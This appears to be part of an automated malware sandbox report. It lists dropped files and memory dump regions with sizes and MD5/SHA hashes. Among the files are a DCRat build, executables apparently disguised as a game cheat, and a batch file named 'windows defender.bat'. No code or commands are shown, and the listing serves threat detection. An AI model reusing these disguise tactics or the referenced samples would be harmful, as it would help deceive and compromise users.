  • C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
    Filesize

    2.5MB

    MD5

    6e01d4882274684f48e04436103ad57f

    SHA1

    3b88df5fc9e6973bf3ecb1e2ed759b86774cb290

    SHA256

    424497764bc1e2cd57f454d173dceeb9dcd7f900aaf5060110da629d11fadf8d

    SHA512

    3e5ed6ee7458f4662dd9bbe572620fc591e69fbc6d8e98013ec0f39a95eb9da55561a232eea23192fbc59368b99f99ee6a00df23bcff253c327aa3eb607c7d7e

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
    Filesize

    7.5MB

    MD5

    b76057df968a944446f950dd4ddc6aec

    SHA1

    bb64de1c677368764000d34c29528ead2f48405c

    SHA256

    afe91fea04d39de5710ad065252d13b9df7b7bd25788ddf5afb162a2f0a03296

    SHA512

    7f45198fe05013ceab477784bde2b1c4532607bd8ba8d9cfb09c5bb037dd2616086c8cb3afd669b24ec89eedbd270d00f1bd6bce2644b40ed36b8f32fc5fdb31

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
    Filesize

    12.7MB

    MD5

    7db5128f7a81cc1af094d8898e79ff21

    SHA1

    d503984331d5999c14931c267d859fbd1510c282

    SHA256

    2952fa4ab9bc3e2b04b1f3ab6b648d0d23fa74856c50bf21fb13fddfe9a874bb

    SHA512

    caceec284b71df124d47267e5ca42bf84e558aa9606b0186f132fba8d2bead2ddbd9304cd82761270b6c42271e0937aeff605ef5d865c424cc29b39ca05b123a

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\windows defender.bat
    Filesize

    3KB

    MD5

    4c35b71d2d89c8e8eb773854085c56ea

    SHA1

    ede16731e61348432c85ef13df4beb2be8096d9b

    SHA256

    3efeeaaabfd33ff95934bee4d6d84e4ecb158d1e7777f6eecd26b2746991ed42

    SHA512

    a6ccbb2913738ca171686a2dd70e96330b0972dadb64f7294ac2b4c9bb430c872ed2bcd360f778962162b9e3be305836fa7f6762b46310c0ad4d6ef0c1cdac8d

    Download Submit

  • C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe
    Filesize

    221B

    MD5

    ca2cae3c10113fc32484a48196e2ffaa

    SHA1

    8eb74a53fe655c5b538246f42cc078d8900bf215

    SHA256

    98311058614dd00a0d0e9e9c38f9df5d1d951525741fc46901d1a396baddd8f2

    SHA512

    6cf05ca56f4c6320bc490401e742f81230e6c138651d958776f497d5e4889fe16c5853a1864791a3f10b4b3d103f5218894be4c7009d1eb7b32e243111b166af

    Download Submit

  • C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat
    Filesize

    39B

    MD5

    19fe83feec263d4e4e68e3dd0e6b3615

    SHA1

    7ff948a654d54acfde0e798fe1d67160343f8dfd

    SHA256

    07dc5ed69f4847071b41d0086ef8a11032c2d85b1ec8a8b00a5d29480c3e6744

    SHA512

    ee6fef4211b60dff50b7cdb88f9ec0028a67bc428ab854c0932db7e5873f9a22e16760d59ff6b885fdb96ed7f6582d3735f629d6e825dcfd1e8c13c5d5adae78

    Download Submit

  • C:\blockweb\file.vbs
    Filesize

    34B

    MD5

    677cc4360477c72cb0ce00406a949c61

    SHA1

    b679e8c3427f6c5fc47c8ac46cd0e56c9424de05

    SHA256

    f1cccb5ae4aa51d293bd3c7d2a1a04cb7847d22c5db8e05ac64e9a6d7455aa0b

    SHA512

    7cfe2cc92f9e659f0a15a295624d611b3363bd01eb5bcf9bc7681ea9b70b0564d192d570d294657c8dc2c93497fa3b4526c975a9bf35d69617c31d9936573c6a

    Download Submit

  • C:\blockweb\portrefNet.exe
    Filesize

    2.2MB

    MD5

    84c6cb042dc58a109dfa2db8381bec28

    SHA1

    4a86e72e9d2c3e0c17cd3a09df754169f4b7ce31

    SHA256

    2e09ed806f9a7c57186872ab3715909437e2729500bc194e0a2cf3405c4cd5f0

    SHA512

    c8ef31a3eaeac8ef0faa043d0bdd085063d54572d0a7eefade08a9db5f97c397bb3270baca71817da9d91c0d1227fcee9ce019065bb5a66f20fed9d7349ab0ef

    Download Submit

  • memory/2468-15-0x0000000001D00000-0x0000000001D01000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2468-17-0x0000000001D40000-0x0000000001D41000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2468-24-0x0000000000400000-0x0000000001B6B000-memory.dmp

    Filesize

    23.4MB

    Download

  • memory/2468-16-0x0000000001D30000-0x0000000001D31000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2468-32-0x0000000000408000-0x0000000000EBA000-memory.dmp

    Filesize

    10.7MB

    Download

  • memory/2468-33-0x0000000000400000-0x0000000001B6B000-memory.dmp

    Filesize

    23.4MB

    Download

  • memory/2468-13-0x0000000000408000-0x0000000000EBA000-memory.dmp

    Filesize

    10.7MB

    Download

  • memory/2468-14-0x0000000001BF0000-0x0000000001BF1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2468-19-0x0000000002040000-0x0000000002041000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2468-21-0x0000000002060000-0x0000000002061000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2468-20-0x0000000002050000-0x0000000002051000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2468-18-0x0000000001D50000-0x0000000001D51000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2636-134-0x000000001BAC0000-0x000000001BB16000-memory.dmp

    Filesize

    344KB

    Download

  • memory/3092-39-0x0000000001DD0000-0x0000000001DD1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3092-42-0x0000000000400000-0x00000000018F3000-memory.dmp

    Filesize

    20.9MB

    Download

  • memory/3092-40-0x0000000001DE0000-0x0000000001DE1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3092-41-0x0000000001DF0000-0x0000000001DF1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3092-34-0x0000000001D60000-0x0000000001D61000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3092-38-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3092-35-0x0000000001D70000-0x0000000001D71000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3092-36-0x0000000001DA0000-0x0000000001DA1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/3092-37-0x0000000001DB0000-0x0000000001DB1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/4016-81-0x0000000000D00000-0x0000000000F3A000-memory.dmp

    Filesize

    2.2MB

    Download

  • memory/4016-82-0x0000000003370000-0x000000000338C000-memory.dmp

    Filesize

    112KB

    Download

  • memory/4016-83-0x000000001C230000-0x000000001C280000-memory.dmp

    Filesize

    320KB

    Download

  • memory/4016-84-0x0000000003390000-0x00000000033A6000-memory.dmp

    Filesize

    88KB

    Download

  • memory/4016-85-0x000000001C1E0000-0x000000001C236000-memory.dmp

    Filesize

    344KB

    Download

  • memory/4016-86-0x0000000003210000-0x000000000321E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/4016-88-0x00000000033C0000-0x00000000033C8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/4016-87-0x00000000033B0000-0x00000000033B8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/4508-61-0x0000019CFA1E0000-0x0000019CFA220000-memory.dmp

    Filesize

    256KB

    Download

  • memory/4964-11-0x0000000000400000-0x00000000010BB000-memory.dmp

    Filesize

    12.7MB

    Download